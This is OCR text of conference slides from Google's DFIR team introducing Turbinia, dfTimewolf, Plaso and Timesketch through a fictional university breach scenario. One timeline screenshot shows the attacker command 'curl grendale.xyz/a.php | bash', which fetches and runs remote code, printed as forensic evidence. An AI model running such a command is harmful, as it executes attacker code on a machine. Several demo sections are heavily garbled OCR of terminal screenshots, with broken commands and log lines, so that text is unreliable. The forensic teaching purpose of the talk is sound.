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Turbinia: Auto n of for c processing in the cloud



WHY ARE WL HERE]

Thomas Chopitea y @tomchop_
Aaron Peterson y @aarontpeterson

DFIR @ Google

e We write code, we use it to hunt bad guys
o dfTimewolf / Turbinia core devs

e Try to automate ourselves out of a job




WHY ARE YOU HERE]

e You’'ll learn about the Cloud part of our forensics toolkit

o It’s all Free and Open Source Software

e You’'ll see how these tools fit together through a fictional scenario

we’ll focus on:

e dfTimewolf e Plaso

e Turbinia e Timesketch @




LOGTIMELINE / PLASO

e Recursively parses everything in your
filesystem and extracts timestamp
information

e Builds a system timeline from this
information




timesketch

e Forensic timeline visualization tool e Plays well with
timesketch tom  Logout plaso

© Overview Q Explore & Stories @ Views © Timelines

data_type:"bash:history:command"

Y Filters  lul Charts Starred B Save view Saved views %  Search templates

Bash execution ‘ M u |.t| = u S e r,

You are exploring in the context of a search template.

Click here to go back to explore view. o
multi-case,
multi-timeline

31 events (0.009s) & Export v Toggle all

2018-06-12T14:17:25+00:00 [Content Modification Time] Command executed: curl 'http://localhost:8000/api/config/binaries/EXECUTABLE/linux/installers/grr_3.2.2.0_amd64.deb’ -H 'Con..
2018-06-12T14:17:35+00:00 [Content Modification Time] Command executed: curl 'http://grr-ubuntu:8000/api/config/binaries/EXECUTABLE/linux/installers/grr_3.2.2.0_amdé4.deb’ -H 'Co..
2018-06-12T14:17:47+00:00 [Content Modification Time] Command executed: curl 'http://grr-ubuntu:8000/api/config/binaries/EXECUTABLE/linux/installers/grr_3.2.2.0_amd64.deb' -H 'Co...
2018-06-12T14:17:56+00:00 [Content Modification Time] Command executed: curl *http://grr-ubuntu:8000/api/config/binaries/EXECUTABLE/linux/installers/grr_3.2.2.0
2018-06-12T14:18:50+00:00 [Content Modification Time] Command executed: curl 'http:/grr-ubuntu:8000/api/config/binaries/EXECUTABLE/linux/installers/grr_3.2.2.0_amdé4.deb’ -H 'Co..
2018-06-12T14:18:53+00:00 @ [Content Modification Time] Command executed: curl 'http://grr-ubuntu:8000/api/config/binaries/EXECUTABLE/linux/installers/grr_3.2.2.0_amdé4.deb' -H 'Co.

2018-06-12T14:18:56+0( [Content Modification Time] Command executed: curl 'http://grr-ubuntu:8000/api/config/binaries/EXECUTABLE/linux/installers/grr_3.2.2.0_amdé4.deb’ -H 'Co...




LOGTIMELINE / DFIMEWOLF

e CLI utility - the Glue between different tools
e Modules (e.g. collectors, processors, exporters)

e Recipes (directions on how to chain Modules)




LOGTIMELINE / DFIMEWOLF

Recipe name Recipe parameters

A A
\( \

{
$ dftimewolf grr artifact hosts \tomchop.greendale.edu’\ 1234}5l -—-sketch id
Y Y Y

Target GRR host Comment  Existing sketch ID (optional)
tomchop.greendale.edu /tmp/C.123 /tmp/C.123.plaso
Time
GRR Plaso
sketch
http://timesketch.greendale.edu/sketch/ ‘//////

Timeline description: 12345



contents = {

'name': 'local plaso’,
'short description': short description,
'modules': [{
'name': 'FilesystemCollector',
'args': {
'paths': '@ paths',
}l
boo A
'name': 'LocalPlasoProcessor',
'args': {
'timezone': @ timezone,
}I
oo A
'name': 'TimesketchExporter',
'args': {
'endpoint': '@ ts_endpoint’',
'username': '@ ts_username’',
'password': '@ ts_password',
'incident id': '@ incident id',

'sketch id': 'Q sketch id’,



[URBINIA

e Open-source framework for deploying,
managing and running forensic workloads

e Automate common tools like Plaso,
bulk_extractor, strings, etc) in cloud
environments

e Parallel processing whenever possible

“Grab this piece of evidence, run
plaso on it, and dump results in a
cloud bucket”

—

Turbinia




(THER DETAILS

e Written in Python
e PoC written in 2015 by @jberggren and @coryaltheide
e Rewritten starting in 2017

e We’re good at logos!

QETURBINIA




[URBINTA INSTALLATION TYPES

e Cloud
e Storage, processing, metadata 100% on GCP Cloud
e Hybrid

e Workers run on local machines with shared storage
e Only metadata is sent to the Cloud
e All processed data stays local

e Local

e No cloud dependencies
e Uses Celery / Kombu / Redis
e Contributed by Facebook (Eric Zinnikas, ericz.com)



TURBINIA ARCHITECTURE (CLOUD)

Clients

@ turbiniactl

@ dfTimewolf

) Google Cloud Platform

Cloud Cloud
Functions Turbinia Server Datastore

——

Cloud Pub/Sub Turblnla

Workers Evidence Storage

000 @O

Cloud Persistent
GCP GCP GCP Storage Disk




TURBINIA ARCHITECTURE (CLOUD HYBRID)

) Google Cloud Platform

@ turbiniactl

Cloud Cloud
Functions Turbinia Server Datastore

ﬁg_. ;
Turbinia

Cloud
Pub/Sub

|
:

Local Workers Shared Evidence Storage

SAN / NAS Cloud
Storage

@ dfTimewolf




TURBINIA ARCHITECTURE (LOCAL)

Clients Managed Services

@ turbiniactl

Turbinia Server

0 dfTimewolf

Turbinia

Shared Evidence Storage Local (non-cloud) Workers

¢ o

SAN / NAS Cloud
Storage




INSTALLATION TYPES PROS/CONS

@ Pros

@ Cons

Cloud

No infrastructure management

Evidence may need to be uploaded

Hybrid

Shifts costs
No server management

Data stays local

Local machine management

Local

No cloud dependencies

Data stays local

Local machine management
Local service management (Celery,

Kombu, Redis)




WHAT 15 EVIDENCE?

Evidence can be anything we want to process

o E.g. RawDisk, GoogleCloudDisk, PlasoFile, etc

Definitions in Python
Tasks can generate new Evidence, which may be re-processed
Evidence as seen by Client/Server is just metadata

Actual data stored in shared storage or Google Cloud Storage



PRE/POST-PROCESSORS

e Pre-processors make Evidence available to Tasks

O  Mounting images and attaching cloud disks, etc.
o CloudPersistentDisk - RawDisk

e Post-processors clean-up

e Evidence can be “stacked”

o GoogleCloudDiskRawEmbedded Evidence
o Pre-processor for outer Cloud Disk attaches outer disk

o Pre-processor for RawDisk mounts inner raw disk



QUTPUT MANAGER

e Some Evidence types are “copyable”
o PlasoFile, PlasoCSVFile, TextFile, etc
e Copyable Evidence can be automatically pulled from storage

o Google Cloud Storage

o Copyable generated Evidence can also be copied back

e Non-copyable Evidence requires shared storage




ATYPICAL TURBINTA WORKFLOW

e Client sends processing request to server

e Server schedules Tasks from Jobs that can process that Evidence

e Workers from the pool run Tasks to process the Evidence

a
b.

&

Tasks read Evidence from shared storage or copied from cloud storage
Task runner pre-processes the Evidence

Task does actual processing

Task generates new Evidence objects (e.g. RawDisk - PlasoFile)

Tasks return this new Evidence to the Server to be processed



0B GRAPH

GoogleCloudDiskRawEmbedded GoogleCloudDisk

StringsJob Hadoop AnalysisJob PlasoJob HTTPAccessLogExtractionJob SSHDExtractionJob TomcatExtractionJob Jenkins AnalysisJob

PlasoFile ExportedFileArtifact

Psortlob HTTPAccessLog AnalysisJob SSHD AnalysisJob Tomcat AnalysisJob
\

TextFile PlasoCsvFile ReportText

Greplob

Filtered TextFile

Evidence




TURBINTA ANALYSIS MODULES

Analysis modules make sense of forensic evidence.

Look in logs for successful exploitation of
{Wordpress,Tomcat,Jenkins}.

Highlight insecure {SSH,Redis,MongoDB} configuration files
Python code in tasks holds the analysis logic.

Extracts Artifacts and then analyzes them



CREATING NEW TASKS 1§ EASY

e Simple execution tasks can be 10-15 lines of actual code

e Documentation at docs/developing-new-tasks.md

vidence = TextFile()
= os.path.basename(evidence.local_path)
ut_file path = os.path.join(
self.output_dir, '{@:s}.ascii'.format(base name))
put_evidence.local_path = output_file path

cmd = 'strings -a -t d {0:s} > {1:s}'.format(
evidence.local_path, output file path)

‘esult.log('Running strings as [{@:s}]'.format(cmd))
self.execute(

APt - g
( ]I}' fesull, Il



https://github.com/google/turbinia/blob/master/docs/developing-new-tasks.md

TURBINTA SCOPE

e Orchestration happens externally
o dfTimewolf
e Intentionally limited privs

e Push evidence instead of pull



TURBINTA RECENT UPDATES

e Several new analysis tasks

e dfTimewolf integration published

e Python 3 support

e New Job manager

e Other clean-up and fixes: Task locking, Evidence and processor
refactoring, better Task error handling, libcloudforensics fixes, etc.

e |Initial structure for terraform support



TURBINIA NEXT STEPS

Disk Volume Enumeration

e Encrypted disk support

e More Tasks in general (they’re easy to write!)
e Cloud bootstrapping automation

e Reporting

e Recipes

e Killing off Python 2



BI6 PICTURE

e Hunting: GRR
e Gathering: dfTimewolf

e Processing: Turbinia

o Via: Plaso, libyal, TSK, etc

e Analysis: Timesketch



L HOOSE YOUR oWN

-

Source: cyber-gtfo.club



THE SCENARIO

DISCLAIMER
None of what I’'m about to talk about is true

(except for the demos)



THE VICTIM

Greendale Poly - the most famous fictitious university
Everyone’s on semester break when... someone gets a tip.

Suspicious domain reported by admin:

Greendale

grendale.xyz N/
Polytechnique

':’\'.Y‘:‘:‘
Greendale just migrated to the cloud...



HONING IN ON THE INITIALTIP. ..

e Typosquatting on gr-ndale.xyz
e Looks targeted... Let’s look for related artifacts

e Let’s see what our cloud forensics options are...



DEMO (DFTIMEWOLF GCP _FORENSIC

$ dfimendl F g forensics greendale clovd greendole-onalysis

weinstonce greendalo-oasin
(rnﬁg succossfully looged from Awsr/locol/gosgle/homestomchopy . df timewod fre
Ruming sodule CoogleCloundlolleocter

tour analysin W will be: gep-forensics-vm-greendale-anslysin
Disk copy of greecdole-adaln sterted.

Disk greendole-adwin succesfully copied to greondale-anslysis- DA%
FL\AM executed s.r.(oss!u\h

5,‘

greendale-od-copy


http://www.youtube.com/watch?v=VPCMVPDKDyM

DEMO (TURBINIA

CI0) MMing sew orvldencr! TeatFile: TastFiles/vw/Dngs/ 1531 M6 MaSocontiy 1= 507 ing bow] code Eash
BOLSdaa) 1197010407 FRF SOAGS007 T Teel 1 8- S2ringahaci L Task/ goog La-g  [IW0] Attaching dish greendale-hemsttdisk 14 imtaoce tarbinds sy

Fesmdele- bt ! -dl ok 4 "

CIND) Adlog Sreplcd Juli te procmses Textfily % AL1aching prosndalo-hest) glat ta W tyrbinia-sarver | FEAD
CIW0] Writing rew task OrepTask ints Detadtece

[INQ) aading P50 task SrepTash with evidwnce Teath " Tachnd Dy SSciageand combTaek, Poortiad waiting.

. | ! Startiag Tak GrepTash 10801140 aSCA0 Mndunt ) STt 000d
COEDOG) Wating Tesh SceingsdaciiTash In Catastors LDNO] Tank Locked by Stringsunicodetost. Greplink saiting

(DE0US) Updating Tase SceingrmicodeTash In Batastore (Ir0) Slock devicn Adey/dlakiby-id/goegln graandale-hest ! ish scc
COSBVE) Lpdating Tawk PrortTash In Dacestors waafully sttached

CORBUGT Vpdatbng Tack GrepTask in Qatastore [INFO) Rorwiing strings 3¢ [strings “a <t d 9 | Jowo/diakiby S8V poog

(DRDOC ) Tash SCatited VEAEMATArS) 1591 5000454438 sot yet creoted  le-provndale-festl-dish > Joar/ep/ 1857 07002 -ohSohs? 20045000702 ate
(ORBGG ] Taok IT0IPAMRITARER I I 16004500000 sat yot craated ColiBCH) 1 T-StringainioodeTask/ google-greendale hoat] -gish i ]
(DI0UG ) Tash 827 4cS4108cT TR 51 o0t Be T 640534 modt yut creatad [INO) Teak Loched by Stringsielcoderash. PeariYesk seiting

CINO) ¥ Teshae snlll swtstandiog CING] Yash Lached By BeringvisdondeTash. GreaTmk walting
[OEROC) Lpedathey Task S2ring ank tn £IND] Yaak Locked by Strimgeieicodolask. PeartTmk waiting
(OR86 ] Updating Task PeortTash 1n Datastors CIN0) Yash Loched by Stringsiiedcodefash, Greplask waiting,
(OR00G) Updatieg Task GrepTask in Dutastors FINFO] Twak Locked By Stringe¥inicodetask. PaortTask watting

[oeenc) Calling Cload fanction (gottasks) with seps [(w'inatasce’: u'tsebinla-eatermad’, uled': o ferbinbalash’  w'reguest if': !
AR 03 L doede | 77RO 6221 ') )

CIW0) 4 Tasks frund, 1 completed. Madting 18 seconds.

(OO Calling Clod Farwtion Cpertasks) sith arge (v’ tontance' | o barbdola-entormal | u'dbnd's o' Barbiniatond’ | o' rewsest ie' )
el 2o ) 001 A 3cud | I PMATTR 22T })

CINO] ¢ Tashy foumd, ¥ completed. Malbing 19 secomds

[0E00G) Calling Cluod Ferction Corttazha) with sepy [[w'imstance’ | o' tertinke-extormal ™, u'Rind') o' Tarbintalosh’, o regust_ je'| '
AR N A el 2NaTe P01 ') )

CIFOT ¢ Tasks found, | completed, Malting 19 secomds
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SeSdsak | MM Scaln 1 270?521 } ]

CIWO] 5 Tasks found, 1 completed, Malting 19 seconds

(0063 Calling Clowd Terwtion [pottasks] with args [{e Imatance’ | o' terbinbacontormal ', u'hind’) o' Forbinlafash’, o' reguest in' !
St al | 031 a Seete 1 2MAnd TSI )

W01 § Toskn found, 7 comulated Welting '8 seconds

Crardinta i python & pthess Josah  Lobyihen 4 bash ORI -server MILET-M I W


http://www.youtube.com/watch?v=3v9kwKDWzHM




FORENSICS IN THE CLOUD

plz copy disk(s

greendale-student-{0..n}

dfTimewolf
3-copy
Iz forensicate
Grab your ais copy

disk ID

timeline.plaso

\/

plaso file from
gs://123.plaso

.
8
i/




DEMO (DFTIMEWOLF WITH TURBINIA

(deftimewo) f-Dickiiys ) aarongetersoaliturbiola server it s dftimewcif gop_forsosics_turtinla ~~imstance gram
dole-aduint ~~incident_id 12854 ~-zose us-cenfralli-c ~—analysis project name turbinia-external-test tarblnia-greendale
Contig succesafully leaded froe /tose/aarcngetsrson/. log share/virtoaleme/df timeso 1 f -Olokiaps/ ) ib/pythond . 7/ sk ta-pack
sges/afeinewdlf-2017 6py2. 7 apg/af awoll/cenfly, fson

Furaisg scduls GoogleCloniKollect
Your enalysls W will be: gep-Teransics~
Complimantary gcisud commped

peldnd compute ssh --project turbinia-sxlersal-test gep-forensles-v-1216¢ 2000 us~centrali-c
Oisk copy of terbiniargrescdale-hast?~disk started

SN turbisia-greendale-hosti-dish socconfully copled o »
Tumisg sodule TurbinisProcesapr

Ysing disk semi2358-cT228669-turbinla-greendale-hos-copy from previces collector
Turbizis log film: /tsp/eapTVpidu/turbinia. log

Creating Turdinia request 775250000 MMM GEEIIThICEICS with Evidesce GoogleClonaDisk
waitisg for Yurbisis regeest }7cS2ablatedddiatbiatsinfiactdcn to conplate

12354

123547220665 tarbinia-gresndd] e~ hes-coay

(terbiniadiaython 1 pythen 2:9sh  Sippthan- & pyihar turblale-seryor 1018-47-16 2008


http://www.youtube.com/watch?v=OxoEoPmHekc

[IMESKETCH

timesketch spock  Logout

© Overview Q Explore & Stories @ Views ® Timelines

grendale.xyz|

Advanced
Y Filters = Lnl Charts Starred Save view

1 events (0.012s) “ Sort & Export =« Toggle all

2018-07-16T04:50:50+00:00 2. [Content Modification Tim¢1 Command executed: curl grendale.xyz/a.php | bash




A NEW HOST WAS COMPROMISED!

Netflow shows connections between the compromised GCP host and a
web server... running WordPress.

Let’s see if Turbinia’s Wordpress analysis module can help.



DEMO (TURBINTA ANALYSIS PLUGINS, WP COMPROMISE

log

1539344016 - 29981 c 1 dTh 1 4528033700857 ceabidd-Psoct Task/ 89381 c /b f4E280 337068 fS7ceeliad. csv

g5://tonchop-turbrini a/output/ 1539344016 FE998 1 7d70f 4878053 0ok (S ceeldd - Port Task/ (89981 c/dTof 4KZ8b A 5 Y0e 8 5V cenldd.
csv

g5://tonchop- turbinl o/out put /153504401 6-FE9981c 7070 48280 3370081 57 ceeldd - Puort Task/mecker-1og . txt
2038-19-12T11:33:36.9237 requast: 4e15872205CH45088COI4RZCIT50080 Losk: 3ecoRERPoedI420081cfeRCC5CI05e3 NordprossAcoessiog
ArolysisTosk tomchop tomchop Successful: WMordpress occass logs fousd (theme_adit, Imstoll)

1539344004 - Je0odBR3e0942008 1 ¢ FLI3c cScOuSed-Hordpres shccossioghnolysLaTosk/mp_occes log anolysis. txt

@52/ /tonchop- turbi ni o/out put/ 1533344004 - 3e0oBiRAdedM 2081 c fcB3ccScoSe 3-NordpressAccessiogphmol ysi sTask/mp_occes_log
Srolysis. txt

g5://tonchop- turbiln a/output /1553344004 - Jeo0Bidaded94 2058 1o f ca3cc 520503 -RordpressAccessiognolysi sTask/worker-1og. ¢
xt
20318-10-12T11:33:36. 6332 reguest: 490158722050445:38C01492¢ 1950088 task: Seafdbecf 54R3E0EERC20440b1c56) NordprossAccessiog
AnolystsTask tomchop tomchop Successful; Nordpress occess logs fousd (theme edit, Imstoll)

1539344004 - Beof dec Feby To44ebA SRR Wor dpras shccnsal oghnalyst sTesk/wp_occen_log enolysis. txt
052/ /00mchop - turbini o/out put/ 1539344004 ~Beof doec FASARIGLEILC20M DI SER-NordpressAcces sloghnolysi sTask/vp_occes log
Sralysis, txt

052/ 7/ tonchop - turtrind o/out put/ 1539344004 - Beof doe  FEb S4B JELEEbC 20 4ebic SB -RordpressAcces sloghnal ys L s Task morker-Log.
xt
2018-10-12711: 33:36. 2957 request: $30158722a50845e85001492¢19%ed0 task: 183751914c334cobbecc 7B 79551 d7as PlasoTask teechop
temchop Successful: Comploted successfully in 9:09:38.633792 om tomchop

82/ /tomchop - turtrinl a/out put /1539343964 - 13315 FH 4¢234:F0boce 766 79551 dias- PlasoTask/ 18315 40 334c3becc 76 TISSFd7e5,
109

1539343964 133 F5F0F 43 34 Mibec c 7O PISSFd705-PlosoTosk/ 183 F5FOF 4 T34c 0 c 76 F 7955 4765, ploso

ga://tamchop-turtrint o/out put /155904 3864 - 18355 FOFE I 34c00becc THF 1955 FiTaS- Plaso Task/ 1837 SFIFACI34cIbbecc 26 F TUSS FaTas
pleso

g5/ vonchop-turbini o/out put/ $53334 3564 - 15315 F9F4c334cobbecc 6 F 7955 T d¥a5-PlasoTask/worker-10g. txt
20181012711 53124 4417 request: $3215872205c445e88001492c19%e88 tosk: Scdo2227SdcTac? 06 deddctbiasoc FileArtl foctExtrac
tionTask toachop tomchop Fotled: Tosk Result sos cuto-closed from task executor on toschop tikoly due to previcus failures.
Provicus stotus: [FileArtifoctExtroctionTask Tosk failed with exception: [“bool' cbject has no attribute 'ocutput_mansger’])

082 //emchop-turbinl o/out put /1539343965 M 00222758 T4CTTIOEF 4ecb680Bac - FileArt | foctExtroctionTask/morker-10g. txt
2018-19-12711:33:24. 2087 requmst: #Dei5ET2205¢445038c01407¢ 1950080 tosk: edddlecesbldsdalbebiif 26a76061d1 h\drﬂfocthtg

ey ¥


http://www.youtube.com/watch?v=OifSsKM0Qw8

DISASTER AVERTED!

e Payload was a keylogger; no traces of lateral movement found.

o Plus, Greendale uses 2FA tokens for all sensitive access

e Attacker’s objective was likely to disrupt the launch of Greendale’s
new PhD program in AC flow study.



WHAT ELSE CAN THESE T0OLS DO

e GRR

o Some host timelining, run custom Python scripts

e Plaso
o Focus processing on specific user-selected artifacts

e dfTimewolf
o Chain any system with an API into your workflow

e Timesketch
o Histogram and heatmap view to view data differently, graphs

e Turbinia
o Repetitive, parallelizable tasks


https://demo.timesketch.org/sketch/3/explore/view/226/
https://demo.timesketch.org/sketch/3/graphs/

KEY TAKEAWAYS

Tools that you might have a place in your ecosystem
Used daily by IR teams at Google
Contributions are encouraged

Apache 2 license



WHERE TO FIND US
Slack channel B

https://open-source-dfir.slack.com

http://join-open-source-dfir-slack.herokuapp.com/

RRRRRRRRRRRRR

github.com/qgooagle/arr

Plaso

github.com/log2timeline/plaso

dfTimewolf ¢’

dithub.com/log2timeline/dftimewolf

Turbinia

github.com/gooagle/turbinia

timesketch

github.com/google/timesketch



https://github.com/log2timeline/dftimewolf
https://github.com/google/turbinia
https://github.com/google/timesketch
https://open-source-dfir.slack.com
http://join-open-source-dfir-slack.herokuapp.com/
https://github.com/google/grr
https://github.com/log2timeline/plaso

THE END!



